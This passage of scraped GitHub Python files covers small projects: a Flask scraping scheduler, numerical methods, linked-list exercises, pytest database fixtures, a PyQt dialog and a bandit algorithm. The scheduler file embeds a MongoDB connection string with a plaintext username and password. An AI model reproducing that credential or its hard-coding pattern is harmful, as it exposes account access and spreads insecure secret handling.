Graph.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"75085951869","text":"from flask import Flask\nfrom flask_apscheduler import APScheduler\nimport mongoengine as me\nfrom associate_rule_mining import association_rule_mining\nfrom datetime import datetime\nfrom flask_mongoengine import MongoEngine\nfrom web_scraping import scrape\nimport logging\nimport datetime\n\n\napp = Flask(__name__)\nscheduler = APScheduler()\napp.config['MONGODB_SETTINGS'] = {\n    'host': f'mongodb+srv://user123:cJy9tubHxcPGylwc@cluster0.bjotw.mongodb.net/Sentiviews.?retryWrites=true&w=majority'\n}\n\nMongoEngine(app)\n\n@app.route(\"/\")\ndef hello():\n    return \"Welcome to the Scheduler ---\"\n\ndef AssociationRuleMining():\n    print(\"Current Task: Association Rule Mining\")\n    start = datetime.datetime.now()\n    association_rule_mining()\n    end = datetime.datetime.now()\n    duration = end - start\n    print(f\"Association Rule Mining Ended. Duration: {duration}\")\n\ndef Scrape():\n    print(\"Current Task: Updating Reviews and Sentiment Score\")\n    day = datetime.datetime.today().weekday()\n    start = datetime.datetime.now()\n\n    if day == 0:\n        scrape(\"Lipstick\")\n    \n    if day == 1:\n        scrape(\"Foundation\")\n        scrape(\"Eyebrows\")\n    \n    if day == 2:\n        scrape(\"Foundation\")\n\n    if day == 3:\n        scrape(\"Mascara\")\n\n    if day == 4:\n        scrape(\"Eyeliner\")\n\n    if day == 5:\n        scrape(\"Primer\")\n\n    if day == 6:\n        scrape(\"Facial Cleanser\")    \n        scrape(\"Scrub\")    \n    \n    end = datetime.datetime.now()\n    duration = end - start\n    print(f\"Updating Reviews and Sentiment Score Completed. Duration: {duration}\")\n\n\nif __name__ == '__main__':\n    scheduler.add_job(id ='Scheduled Task 1', func = AssociationRuleMining, trigger='cron', day_of_week ='mon-sun', hour=0, minute=0 )\n    scheduler.add_job(id ='Scheduled Task 2', replace_existing= True, func = Scrape, trigger='cron', day_of_week ='mon-sun', hour=1, minute=0 )\n\n    logging.basicConfig()\n    logging.getLogger('apscheduler').setLevel(logging.DEBUG)\n    scheduler.start()\n    app.run(host = '0.0.0.0', port = 8081)","repo_name":"puiyannn/SentiViews","sub_path":"backend/scheduler/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9717292984","text":"from builtins import float, input\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom golden_section import GoldenSection\nfrom halving_method import HalvingMethod\nfrom method_paul import PaulMethod\n\n# t = np.arange(3, 3, 0.1)\n\ndef f(x):\n    f_x = np.power(x,5) - np.power(x,2)\n    return f_x\n\ndef show_f():\n    plt.figure(2)\n    font = {'size': 7}\n    plt.rc('font', **font)\n    plt.title(\"Функция\")\n    plt.ylim(-0.4, 1)\n    plt.xlabel(r'$x$')\n    plt.ylabel(r'$y(x)$')\n    plt.grid(True)  # Сетка\n    X = np.arange(-0.5,1.5,0.05)\n    plt.plot(X, f(X), label=\"f(x) = x^5 - x^2\")  # Основная функция\n    plt.legend()\n\n    plt.show()\n\n\ndef graph(t1, f, min, methodName):\n    figure, ax = plt.subplots()\n    figure.suptitle(\"x = {0} y = {1}\".format(min, f(min)))\n    ax.grid()\n    ax.plot(t1, f(t1), '-', min, f(min), 'bo')\n    ax.set(xlabel=r'$x$', ylabel=r'$y(x)$',\n           title=methodName, )\n\n    plt.show()\n\n\nprint('Введите начальное значение x = ')\nstart = float(input())\nprint('Введите конечное значение x = ')\nend = float(input())\nprint('Введите точность е = ')\ne = float(input())\n\nt1 = np.arange(start - 3, end + 3, 0.1)\n\n# Сама функция\n\n# show_f()\n\n\n# метод Золотого деления\n\n# golden_method = GoldenSection()\n# min = golden_method.findMin(start, end, e)\n# print('Минимальное значение при x = {0} и y = {1}'.format(min, golden_method.f(min)))\n#\n# graph(t1, golden_method.f, min, \"Золотое сечение\")\n\n\n# Метод Пауэлла\n\npaul_method = PaulMethod(0.01)\nx_min, count_powell = paul_method.Powell(1, 0.1, e)\npaul_method.show()\nprint('Минимальное значение при x = {0} и y = {1}'.format(x_min, paul_method.f(x_min)))\nprint('Количество итераций {0}'.format(11))\n\n\n# Метод половинного деления\n#\n# paul_method = HalvingMethod()\n# min = paul_method.findMin(start,end,e)\n# print('Минимальное значение при x = {0} и y = {1}'.format(min, paul_method.f(min)))\n# graph(t1, paul_method.f, min, \"метод половинного деления\")\n","repo_name":"dmitry-shibanov/nonlinear_equation_method","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22155019084","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 19 21:52:45 2021\n\n@author: shrey\n\"\"\"\n\nclass Node:\n    def __init__(self,data):\n        self.data=data\n        self.next=None\n        \nclass LinkedList:\n    def __init__(self):\n        self.head=None\n    \n    def printLinkedList(self):\n        temp=self.head\n        if temp==None:\n            print(\"No Linked list Present!\")\n        else:    \n            while temp!=None:\n                print (temp.data)\n                temp=temp.next\n        \n    \n    def insertAtStart(self,value):\n        if self.head==None:\n            p=Node(value)\n            p.next=self.head\n            self.head=p\n        else:\n            p=Node(value)\n            p.next=self.head\n            self.head=p\n            \n    def insertAtEnd(self,value):\n        if self.head==None:\n            p=Node(value)\n            p.next=None\n        else:\n            temp=self.head\n            while temp.next!=None:\n                temp=temp.next\n            if temp.next==None:\n                p=Node(value)\n                temp.next=p\n                p.next=None\n     \n    def insertByIndex(self,index,value):\n        i=0\n        if index==0:\n            p=Node(value)\n            p.next=self.head\n            self.head=p\n                                                    \n        else:\n            temp=self.head\n            while i!=(index-1) :\n                temp=temp.next\n                i=i+1\n            if i==index-1:\n                p=Node(value)\n                p.next=temp.next\n                temp.next=p\n                \n            else:    \n                print('Invalid Index')\n    \n    def insertAfterValue(self,target,value):\n        temp=self.head\n        while temp.data!=target:\n            temp=temp.next\n        if temp.data!=target:\n            print('Wrong Target')\n        else:\n            p=Node(value)\n            p.next=temp.next\n            temp.next=p\n            \n    def insertBeforeValue(self,value,target):\n        temp=self.head\n        if temp.data==target:\n            p=Node(value)\n            p.next=temp\n            self.head=p\n        else:    \n            while temp.next.data!=target:\n                temp=temp.next\n            if temp.next.data!=target:\n                print('Invalid target')\n            else:\n                p=Node(value)\n                p.next=temp.next\n                temp.next=p\n                \n    def deleteFromStart(self):\n        if self.head==None:\n            print(\"Nothing To Delete Here\")\n        else: \n            self.head=self.head.next\n            \n    def deleteFromEnd(self):\n        temp=self.head\n        if self.head==None:\n            print(\"Nothing to DElete Here\")\n        elif self.head.next==None:\n            self.head=None\n        else:     \n            temp=self.head\n            while temp.next.next!=None:\n                temp=temp.next\n            temp.next=None    \n            \n    def deleteByIndex(self,index):\n        i=0\n        temp=self.head\n        if index==0:\n            self.head=self.head.next\n        else:\n               \n            while temp.next!=None and i!=index-1:\n                temp=temp.next\n                i=i+1\n            if i==index-1 and temp.next!=None:\n                temp.next=temp.next.next  \n            else:\n               print('Index Invalid') \n               \n             \n    def deleteAValue(self,value):\n         temp=self.head\n         if value==self.head.data:\n             self.head=self.head.next\n         else:    \n             while temp.next!=None and temp.next.data!=value:\n                 temp=temp.next\n             if temp.next==None or temp.next.data!=value:\n                 print(\"Invalid Input\")\n             else:\n                 temp.next=temp.next.next    \n                 \n    def printInReverse(self,curNode):\n        #BC\n        if curNode.next==None:\n            return\n        #IS\n        nextNode=curNode.next\n        self.printInReverse(nextNode)\n        print(nextNode.data)\n        #FS\n        return\n    \n    def reverseLinkedList(self,curNode):\n        #BC\n        if curNode==None:\n            return None\n        if curNode.next==None:\n            return curNode\n        #IS\n        newhead=self.reverseLinkedList(curNode.next)\n        last=curNode.next\n        last.next=curNode\n        curNode.next=None\n        #FS\n        return newhead\n                     \n                 \n#-------------------------------------------------------------------------------------------------#\nll=LinkedList()\nll.insertAtStart(30)\nll.insertAtStart(20)\nll.insertAtStart(10)\nll.insertAtEnd(40)\nll.insertAtEnd(50)\nll.head=ll.reverseLinkedList(ll.head)\nll.printLinkedList()\n\n\n    ","repo_name":"shreyaspathak11/Python-Basics","sub_path":"Linked List.py","file_name":"Linked List.py","file_ext":"py","file_size_in_byte":4671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38936078458","text":"read('inTrees.phy')\ninTrees = var.trees\nvar.trees = []\n\n\nread('stMcmcCons.nex')\nread('mrpMajRuleConsTree.nex')\nread('mrpStrictConsTree.nex')\n\nvar.trees[1].name = 'mrpMajRule'\nvar.trees[2].name = 'mrpStrict'\n\ntt = Trees(taxNames=var.trees[0].taxNames)\ntt.inputTreesToSuperTreeDistances(inTrees)    \n","repo_name":"pgfoster/p4-phylogenetics","sub_path":"share/Examples/O_SuperTreeMcmc/B_aBitMoreInvolved/sInputTreesToSuperTreeDistances.py","file_name":"sInputTreesToSuperTreeDistances.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"60"}
+{"seq_id":"30842912088","text":"# 각 에지에 양수인 가중치가 부여된 높이가 k인 포화이진트리가 주어져 있다. 높이 k인 포화이진트리는 2k개의 리프를 포함하여 (2k+1 − 1)개의 노드를 가진다. 루트에서 어떤 리프까지의 거리는 루트에서 그 리프까지의 경로상에 있는 모든 에지들의 가중치를 더한 값이다. 이 문제에서는, 어떤 에지들의 가중치를 증가시켜서 루트에서 모든 리프까지의 거리가 같도록 하고, 또한 에지 가중치들의 총합을 최소화 하려고 한다.\n\n# 예를 들어, 그림 1(a)에 있는 높이 2 인 포화이진트리를 살펴보자. 에지 옆에 있는 수는 그 에지의 가중치를 나타낸다. 이 경우에 대한 답이 그림 1(b)에 나타나 있다. 즉, 루트에서 모든 리프까지의 거리가 5 이고, 에지 가중치들의 총합은 이 경우에 가능한 최솟값인 15 이다. \n\n\n\n# 그림 1. 에지 가중치를 증가시키는 예.\n\n# 포화이진트리에 들어 있는 모든 에지들의 가중치가 주어졌을 때, 어떤 에지들의 가중치를 증가시켜서 루트에서 모든 리프까지의 거리가 같게 하면서 에지 가중치들의 총합이 최소가 되도록 하는 프로그램을 작성하시오.\n\n\nimport sys\n\nn = int(sys.stdin.readline())\n\ntree = [[]for i in range(n)]\n\nleaf = list(map(int,sys.stdin.readline().split()))\n\nk = 0\nt = 2\nfor i in range(n):\n    for j in range(k,t):\n        tree[i].append(leaf[j])\n    k = j+1\n    t = t+2**(i+2)\n\n\n\n\nans = 0\nfor i in range(len(tree)):\n    ans += sum(tree[i])\n\nfor i in range(len(tree)-1,-1,-1):\n    for j in range(0,len(tree[i]),2):\n        ans += abs(tree[i][j]-tree[i][j+1])\n        tree[i][j] = max(tree[i][j],tree[i][j+1])\n        tree[i][j+1] = tree[i][j]\n        tree[i-1][j//2] += tree[i][j]\n\nprint(ans)","repo_name":"kysuk05/BJO_algo","sub_path":"골드/BJO13325.py","file_name":"BJO13325.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34770328228","text":"import os\nimport numpy as np\n\nDATA_PATH = r'G:\\PythonProjects\\WineRecognition2\\data\\menus\\Wines.txt'\nOUTPUT_PATH = r'G:\\PythonProjects\\WineRecognition2\\data\\text'\nFILENAME = 'menu_txt.txt'\n\n\ndef add_white_spaces_between_punctuation(s: str):\n    chars = list(s)\n    indices = np.array([i for i, c in enumerate(chars) if c in ',;'])\n    for i in indices:\n        left = next(iter(chars[i-1:i]), '')\n        right = next(iter(chars[i + 1:i + 2]), '')\n        if left != ' ':\n            chars.insert(i, ' ')\n            indices += 1\n            i += 1\n        if right != ' ':\n            chars.insert(i + 1, ' ')\n            indices += 1\n\n    return ''.join(chars)\n\n\ndef main():\n    tag = 'UNKNOWN'\n    sents = []\n    for line in open(DATA_PATH, encoding='utf-8'):\n        line = line.strip()\n        if line.startswith('http') or not line:\n            continue\n        line = add_white_spaces_between_punctuation(line)\n        sent = '\\n'.join(' '.join([word, tag]) for word in line.split()) + '\\n'\n        sents.append(sent)\n\n    with open(os.path.join(OUTPUT_PATH, FILENAME), 'w', encoding='utf-8') as file:\n        file.write('\\n'.join(sents))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Mental59/WineRecognition","sub_path":"scripts/generate_text_data_from_menu.py","file_name":"generate_text_data_from_menu.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"9547804089","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n'''\nChanging the argument from \"t\" to \"v=1/(1+t)\"\n'''\n\ndef f(x,v):\n\treturn -1/(x**2*v**2+(1-v)**2)\n\nvi,vf = 1,0\nh = -0.01\nN = int((vf-vi)/h)\n\nv = np.linspace(vf,vi,N+1)\nx = np.zeros(N+1)\nx[N] = 1\n\nfor i in range(N):\n\tk1 = h*f(x[N-i],v[N-i])\n\tk2 = h*f(x[N-i]+k1/2,v[N-i]+h/2)\n\tk3 = h*f(x[N-i]+k2/2,v[N-i]+h/2)\n\tk4 = h*f(x[N-i]+k3,v[N-i]+h)\n\t\n\tx[N-1-i] = x[N-i]+(k1+2*k2+2*k3+k4)/6\n\nt = 3.5*10**6\nv0 = 1/(1+t)\n\nz = np.polyfit(v,x,3)\np = np.poly1d(z)\n\nprint(\"The value of the function at the given point is \",p(v0))\n\nplt.plot(v,x,'g.-',label = 'Numerical solution')\nplt.legend()\nplt.xlabel('v=1/(1+t)')\nplt.ylabel('x')\nplt.show()\n","repo_name":"Bubai-Rahaman/CP_2020_Assignment2","sub_path":"question_10.py","file_name":"question_10.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32125450212","text":"# coding: utf-8\n\nimport numpy\nimport pandas\n\ndef filter_by_regular(filename):\n\n    turnstile_data = pandas.read_csv(filename, encoding='ISO-8859-1')\n    \n    return numpy.mean(turnstile_data['DESCn'])\n    #return turnstile_data\n\t\noutput_file = 'turnstile_1706.txt'\na = filter_by_regular(output_file)\nprint(a)","repo_name":"marcoscarvalho/udacity-data-science","sub_path":"newyork-subway/1_3_pandas.py","file_name":"1_3_pandas.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"28522932342","text":"import asyncio\nimport uuid\nfrom argparse import Namespace\n\nimport pytest\nfrom alembic.config import Config\nfrom sqlalchemy import text\nfrom sqlalchemy.engine import make_url\nfrom sqlalchemy.ext.asyncio import create_async_engine, AsyncEngine, AsyncSession as BaseAsyncSession\nfrom sqlalchemy.orm import sessionmaker\nfrom yarl import URL\n\nfrom customers.api.app import create_app\nfrom customers.db.factories import UserFactory\nfrom customers.db.models import metadata\nfrom customers.settings import DB_URL\nfrom customers.utils import make_alembic_config, get_jwt_token_for_user\n\n\nPOSTGRES_DEFAULT_DB = \"postgres\"\n\n\nasync def create_database(url: str):\n    \"\"\"Issue the appropriate CREATE DATABASE statement.\n\n    To create a database, you can pass a simple URL that would have\n    been passed to `create_async_engine`.\n    \"\"\"\n    url_object = make_url(url)\n    database_name = url_object.database\n    dbms_url = url_object.set(database=POSTGRES_DEFAULT_DB)\n    engine = create_async_engine(dbms_url, isolation_level=\"AUTOCOMMIT\")\n    async with engine.connect() as conn:\n        c = await conn.execute(text(f\"SELECT 1 FROM pg_database WHERE datname='{database_name}'\"))\n        database_exists = c.scalar() == 1\n    if database_exists:\n        await drop_database(url_object)\n\n    async with engine.connect() as conn:\n        await conn.execute(text(f'CREATE DATABASE \"{database_name}\" ENCODING \"utf8\" TEMPLATE template1'))\n    await engine.dispose()\n\n\nasync def drop_database(url: str):\n    \"\"\"Issue the appropriate DROP DATABASE statement.\n\n    Works similar to the `create_database` func in that both url text\n    and a constructed url are accepted.\n    \"\"\"\n    url_object = make_url(url)\n    dbms_url = url_object.set(database=POSTGRES_DEFAULT_DB)\n    engine = create_async_engine(dbms_url, isolation_level=\"AUTOCOMMIT\")\n    async with engine.connect() as conn:\n        disc_users = \"\"\"\n        SELECT pg_terminate_backend(pg_stat_activity.{pid_column})\n        FROM pg_stat_activity\n        WHERE pg_stat_activity.datname = '{database}'\n          AND {pid_column} != pg_backend_pid();\n        \"\"\".format(pid_column=\"pid\", database=url_object.database)\n        await conn.execute(text(disc_users))\n\n        await conn.execute(text(f'DROP DATABASE \"{url_object.database}\"'))\n    await engine.dispose()\n\n\n@pytest.fixture(scope=\"module\")\ndef event_loop() -> asyncio.AbstractEventLoop:\n    \"\"\"\n    Creates an instance of the default event loop for the test session.\n    \"\"\"\n    loop = asyncio.new_event_loop()\n    try:\n        yield loop\n    finally:\n        loop.close()\n\n\n@pytest.fixture(scope=\"module\")\nasync def postgres_url() -> str:\n    \"\"\"\n    Creates a temporary database and yield db_url.\n    \"\"\"\n    tmp_name = '.'.join([uuid.uuid4().hex, 'pytest'])\n    db_url = str(URL(DB_URL).with_path(tmp_name))\n    await create_database(db_url)\n    try:\n        yield db_url\n    finally:\n        await drop_database(db_url)\n\n\n@pytest.fixture(scope=\"module\")\ndef alembic_config(postgres_url: str) -> Config:\n    \"\"\"\n    Creates a configuration object for alembic, configured for a temporary database.\n    \"\"\"\n    cmd_options = Namespace(config='customers/alembic.ini', name='alembic', pg_url=postgres_url, raiseerr=False, x=None)\n    return make_alembic_config(cmd_options)\n\n\n@pytest.fixture(scope=\"module\")\nasync def pg_engine(postgres_url: str) -> AsyncEngine:\n    \"\"\"\n    Creates tables in db to run the test.\n    Creates and returns an async database engine.\n    \"\"\"\n    engine = create_async_engine(postgres_url)\n    async with engine.begin() as conn:\n        await conn.run_sync(metadata.create_all)\n    try:\n        yield engine\n    finally:\n        await engine.dispose()\n\n\n@pytest.fixture\nasync def db_session(pg_engine: AsyncEngine) -> BaseAsyncSession:\n    \"\"\"\n    Returns the session with connection to the database.\n    \"\"\"\n    AsyncSession = sessionmaker(bind=pg_engine, class_=BaseAsyncSession, expire_on_commit=False)\n    session = AsyncSession()\n    try:\n        yield session\n    finally:\n        await session.close()\n\n\n@pytest.fixture\nasync def authorized_api_client(db_session, aiohttp_client, aiomisc_unused_port: int, postgres_url: str):\n    \"\"\"\n    Returns API test client with authorized user and user object.\n    \"\"\"\n    app = create_app(pg_url=postgres_url)\n    user = UserFactory()\n    await user.async_save(db_session)\n    jwt_token = get_jwt_token_for_user(user=user)\n    headers = {'Authorization': f'Bearer {jwt_token}'}\n\n    client = await aiohttp_client(app, server_kwargs={'port': aiomisc_unused_port}, headers=headers)\n    try:\n        yield client, user\n    finally:\n        await client.close()\n","repo_name":"Fl1p92/microservices-cart-test","sub_path":"customers/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":4631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38898574475","text":"# -*- coding: utf-8 -*-\nfrom PyQt5.QtWidgets import QDialog\nfrom ui.ui_keyconfig import Ui_KeyConfig\n\nclass KeyConfig(QDialog, Ui_KeyConfig):\n\n    def __init__(self, parent):\n        QDialog.__init__(self)\n        Ui_KeyConfig.__init__(self)\n        super(KeyConfig, self).__init__(parent)\n        self.setupUi(self)\n\n        self.button_save.clicked.connect(self.__save_key_config)\n        self.button_close.clicked.connect(self.close)\n\n        self.parent = parent\n\n        self.__set_key_value()\n\n\n    def __save_key_config(self):\n        key_map = {}\n        key_map['left'] = self.lineEdit_left.text().upper()\n        key_map['right'] = self.lineEdit_right.text().upper()\n        key_map['left3'] = self.lineEdit_left_3.text().upper()\n        key_map['right3'] = self.lineEdit_right_3.text().upper()\n        key_map['leftDirect'] = self.lineEdit_left_direct.text().upper()\n        key_map['rightDirect'] = self.lineEdit_right_direct.text().upper()\n        key_map['down'] = self.lineEdit_down.text().upper()\n        key_map['bottom'] = self.lineEdit_bottom.text().upper()\n        key_map['turn'] = self.lineEdit_turn.text().upper()\n        key_map['turnAnti'] = self.lineEdit_turn_anti.text().upper()\n\n        with open('./config/key_config.txt', 'w') as f_config:\n            for key, value in key_map.items():\n                f_config.writelines(key + '=' + value + '\\r\\n')\n\n        self.parent.key_map = key_map\n\n\n    def __set_key_value(self):\n        key_map = self.parent.read_key_config()\n        self.lineEdit_left.setText(key_map['left'])\n        self.lineEdit_right.setText(key_map['right'])\n        self.lineEdit_left_3.setText(key_map['left3'])\n        self.lineEdit_right_3.setText(key_map['right3'])\n        self.lineEdit_left_direct.setText(key_map['leftDirect'])\n        self.lineEdit_right_direct.setText(key_map['rightDirect'])\n        self.lineEdit_down.setText(key_map['down'])\n        self.lineEdit_bottom.setText(key_map['bottom'])\n        self.lineEdit_turn.setText(key_map['turn'])\n        self.lineEdit_turn_anti.setText(key_map['turnAnti'])\n","repo_name":"bingfeng-jy/tetris","sub_path":"tetris_python/keyconfig.py","file_name":"keyconfig.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32897171027","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.next = None\n\nclass Solution:\n    def detectCycle(self, head: Optional[ListNode]) -> Optional[ListNode]:\n        hashset = set()\n        \n        if head is None:\n            return None\n        \n        while head is not None:\n            if head in hashset:\n                return head\n            hashset.add(head)\n            head = head.next\n            \n            \n        \n        return None\n        \n#time complexity - O(n)\n#space complexity - O(n) since we are creating a hashset","repo_name":"yashk1/Leetcode-a-day","sub_path":"Day 18 - 142-linked-list-cycle-ii/142-linked-list-cycle-ii.py","file_name":"142-linked-list-cycle-ii.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6382002265","text":"'''\nThis is the S-exp3 algo.\nReward should be scaled to [0, 1]\n\n\nREFERENCE:\nhttps://jeremykun.com/2013/11/08/adversarial-bandits-and-the-exp3-algorithm/\n'''\nimport numpy as np\n\nfrom code.MonteCarlo import MC_simulation\nclass S_exp3:\n    def __init__(self, game, policies, agent, n_episodes, gamma):\n        '''\n        FUNCTIONALITY: keeping every other agent's policies fixed, optimize\n        an AI agent using exp3 algorithm.\n\n        For each policy state involves AI agent, we run a (correlated) exp3\n        algorithm.\n\n        :param game:\n        :param policies: initial policies. Target agent's policy\n        would be updated\n        :param agent: AI agent to run exp3 on\n        :param n_episodes: how many game runs\n        :param gamma: in [0, 1]. High gamma ==> more exploration\n        '''\n        self.num_actions = 2\n        self.weights = {PS:[1]*self.num_actions for PS in game.policyStates} # two actions: leave or stay\n        self.gamma = gamma\n        self.n_episodes  = n_episodes\n        self.agent = agent\n        self.game = game\n        self.policies = policies\n\n\n    def optimize_agent(self):\n        for t in range(self.n_episodes):\n            print('\\n==== episode {} ===='.format(t))\n            Gt, visited_PS, choices = MC_simulation(self.game, self.policies)\n            terminal_state = Gt[-1]\n            self.update_weight(visited_PS, choices, terminal_state)\n\n\n    def dist(self, weights):\n        # convert self.weights to a prob. dist\n        normalizing = sum(weights)\n        return [(1-self.gamma) * (w/normalizing) + (self.gamma/self.num_actions)\\\n                for w in weights]\n\n    def update_weight(self, policy_states, choices, terminal_state):\n        '''\n        FUNCTIONALITY:\n            Given an MC episode, we go through all policy states and pick those that involve the AI agent.\n            Then from those, we get the rewards and the choices that the agent make. We update the weights\n            and agent's policy by exp3 algorithm\n        :param policy_states:\n        :param choices:\n        :return:\n        '''\n        for PS, actions in zip(policy_states, choices):\n            if self.agent not in PS.coalition_considered:\n                continue\n            probs = self.policies[self.agent][PS.state_num]\n            agent_choice = actions[self.agent] # 0 = leave, 1 = stay\n            print('\\n>> At {} >> choice {}'.format(PS, agent_choice))\n            reward = self.scaled_reward(terminal_state)\n            print('reward for {} is {}'.format(self.agent, reward))\n            unbiased_reward = reward / probs[agent_choice]\n            # update the weights\n            self.weights[PS][agent_choice] *= np.exp(unbiased_reward * self.gamma / self.num_actions)\n            # update policy\n            print('policy changed from', self.policies[self.agent][PS.state_num], end=' ')\n            self.policies[self.agent][PS.state_num] = self.dist(self.weights[PS])\n            print('to ', self.policies[self.agent][PS.state_num])\n\n\n\n    def scaled_reward(self, terminal_state):\n        '''\n        :param terminal_state:\n        :return: scaled reward to [0, 1]. A reward is the final standing of the AI agent\n        during this MC episode.\n        '''\n        final_ranking = terminal_state.evaluate_leaf(ret_delta=False)\n        print('final_ranking:', final_ranking)\n        return final_ranking[self.agent.name]/sum(final_ranking.values())\n\n\n\n","repo_name":"vlongle/DefectionRankingGame","sub_path":"codify/code/Bandit.py","file_name":"Bandit.py","file_ext":"py","file_size_in_byte":3421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70781709632","text":"'''Demonstrate generating simple curves using twists'''\n\n# The generator code below assumes that twist functions Tab etc have\n# been defined and operate on strings.  For this sample we only\n# implement Tab, Tbc, and their inverses. \n\ndef Tab(s):\n    w = []\n    for x in s:\n        if x == 'a':\n            w.append('b')\n        elif x == 'b':\n            w.append('Bab')\n        elif x == 'A':\n            w.append('B')\n        elif x == 'B':\n            w.append('BAb')\n        else:\n            w.append(x)\n    return ''.join(w)\n\ndef Tbc(s):\n    w = []\n    for x in s:\n        if x == 'b':\n            w.append('c')\n        elif x == 'c':\n            w.append('Cbc')\n        elif x == 'B':\n            w.append('C')\n        elif x == 'C':\n            w.append('CBc')\n        else:\n            w.append(x)\n    return ''.join(w)\n\ndef Tab_inv(s):\n    w = []\n    for x in s:\n        if x == 'a':\n            w.append('abA')\n        elif x == 'b':\n            w.append('a')\n        elif x == 'A':\n            w.append('aBA')\n        elif x == 'B':\n            w.append('A')\n        else:\n            w.append(x)\n    return ''.join(w)\n\ndef Tbc_inv(s):\n    w = []\n    for x in s:\n        if x == 'b':\n            w.append('bcB')\n        elif x == 'c':\n            w.append('b')\n        elif x == 'B':\n            w.append('bCB')\n        elif x == 'C':\n            w.append('B')\n        else:\n            w.append(x)\n    return ''.join(w)\n\n\n# ---- BEGIN code from presentation slide ----\n\ndepth = 5\n\ntwists = { Tab, Tab_inv, Tbc, Tbc_inv } # etc\ncurves = set()\nfrontier = {'ab', 'bc', 'cd', 'de', 'ea'}\n\nfor _ in range(depth):\n    latest = \\\n        { T(x) for x in frontier for T in twists }\n    frontier = latest.difference(curves)\n    curves.update(frontier)\n\n# ---- END code from presentation slide ----\n\n# Produce output so running this as a script is interesting.\nfor x in curves:\n    print(x)    \n\n","repo_name":"daviddumas/pmls05-demo","sub_path":"samples/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"20972718355","text":"\"\"\"\nenv for local test use file from example before pull data\n\"\"\"\n\nimport os\nimport pickle\nfrom typing import Tuple\n\nimport pandas as pd\n\nFAST = False\n\n# todo try download all data from submit\nclass Env:\n    \"\"\"\n    emulate kernal\n    \"\"\"\n\n    module_path = os.path.dirname(__file__)\n    input_market_data = module_path + '/input_market_data'\n    input_news_data_1 = module_path + '/input_news_data_1'\n    input_news_data_2 = module_path + '/input_news_data_2'\n    out_data = module_path + '/out_data'\n    input_market_data_fast = module_path + '/input_market_data_fast'\n    input_news_data_fast = module_path + '/input_news_data_fast'\n\n    result = []\n\n    def __init__(self):\n        if not FAST:\n            with open(self.input_market_data, 'rb') as f:\n                self.market = pickle.load(f)  # type: pd.DataFrame\n\n            with open(self.input_news_data_1, 'rb') as f:\n                f1 = pickle.load(f)  # type: pd.DataFrame\n            with open(self.input_news_data_2, 'rb') as f:\n                f2 = pickle.load(f)  # type: pd.DataFrame\n            self.news = pd.concat([f1, f2])\n        else:\n            with open(self.input_market_data_fast, 'rb') as f:\n                self.market = pickle.load(f)  # type: pd.DataFrame\n\n            with open(self.input_news_data_fast, 'rb') as f:\n                self.news = pickle.load(f)  # type: pd.DataFrame\n\n\n        with open(self.out_data, 'rb') as f:\n            self.out = pickle.load(\n                    f)  # type: Tuple[pd.DataFrame, pd.DataFrame , DataFrame ]\n\n    def get_prediction_days(self):\n        return self.out\n\n    def get_training_data(self):\n        return self.market.copy(), self.news.copy()\n\n    def predict(self, predict):\n        self.result.append(predict)\n\n    def write_submission_file(self):\n        print(self.result)\n\n\ndef make_env():\n    return Env()\n\n\ndef create_data():\n    with open('news_df.dms', 'rb') as f:\n        news = pd.read_csv(f)\n    with open('market_df.dms', 'rb') as f:\n        market = pd.read_csv(f)\n\n    with open('input_market_data', 'wb') as f:\n        pickle.dump(market, f)\n\n    with open('input_market_data_fast', 'wb') as f:\n        pickle.dump(market.iloc[-10000:], f)\n\n\n    with open('input_news_data_1', 'wb') as f:\n        pickle.dump(news.iloc[:int(len(news) / 2)], f)\n\n    with open('input_news_data_2', 'wb') as f:\n        pickle.dump(news.iloc[int(len(news) / 2):], f)\n\n    with open('input_news_data_fast', 'wb') as f:\n        pickle.dump(news.iloc[-100000:], f)\n\n    tmplates = ['market.dms', 'news.dms', 'result.dms']\n\n    predictdate = []\n    for i in range(20):\n        date_ = []\n        for tmp in tmplates:\n            with open(str(i) + tmp, 'rb') as f:\n                date_.append(pd.read_csv(f))\n        predictdate.append(date_)\n\n    with open('out_data', 'wb') as f:\n        pickle.dump(predictdate, f)\n\n\ndef speed_test():\n    from timeit import default_timer as timer\n\n    start = timer()\n    with 